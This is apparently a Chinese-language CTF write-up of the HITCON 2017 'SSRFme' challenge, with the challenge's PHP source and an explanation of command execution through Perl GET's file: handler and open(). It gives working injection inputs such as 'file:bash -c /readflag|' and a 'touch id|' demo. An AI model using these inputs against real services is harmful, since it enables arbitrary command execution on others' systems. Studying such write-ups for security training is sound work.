HITCON 2017SSRFme

这考点:get的任意命令执行 调用命令get来执行从url中获取的参数 然后按照filename新建文件写入get的结果
perl里的get函数底层就是调用了open处理

1
2
3
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new

perl脚本中get命令执行漏洞

1
2
3
4
touch 'id|'
GET ’file:id|'

uid=0(root) gid=0(root) groups=0(root)

在perl下如果**open第二个参数(path)**可控就能进行任意代码执行 就类似于把一个文件名拼接入命令导致的命令执行
这题给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的目录到$sandbox

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
$info = pathinfo($_GET["filename"]); // pathinfo() 函数以数组的形式返回文件路径的信息。
$dir = str_replace(".", "", basename($info["dirname"])); // basename() 函数返回路径中的文件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
// 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。



**escapeshellarg($arg)**把字符串转码成可在shell命令函数执行的参数,给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能直接将一个字符串传入shell函数 而且还是确保安全的。输入的部分参数就会使用这个函数 shell函数包含exec() system() 反引号(``)

arg:需要被转码的参数

1
2
3
4
pathinfo() 返回一个数组包含path的信息 有一下几个数组元素
[dirname] //路径
[basename] //文件名
[extension] //拓展名

比如:

171.PNG

对传入的参数进行escapeshellarg函数过滤 创建一个目录 sandbo/md5(orange+ip) 然后执行get$_get[‘url’] 然后创建文件夹
并将get后的结果放入该文件夹下filename传入文件中

remote_addr显示当前浏览该页面用户的ip题目已给出
sandbox的目录就是sandbox/09813651a41a9196d2053cdecf08dd70

先创建文件aaa然后访问 ?url=/&filename=aaa

169.PNG

然后访问sandbox/09813651a41a9196d2053cdecf08dd70/aaa

170.PNG

一个readflag 一个flag 正常是得执行readflag然后才能拿到flag

1
2
3
4
perl的open命令可能造成命令执行
首先得满足文件存在然后才会继续open语句 所有执行命令前得先搞一个同名文件
?url=&filename=bash -c /readflag| 先创建一个bash -c /readflag| 的文件 用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用get执行bash -c /readflag|保存到文件中

访问 aaa即可

172.PNG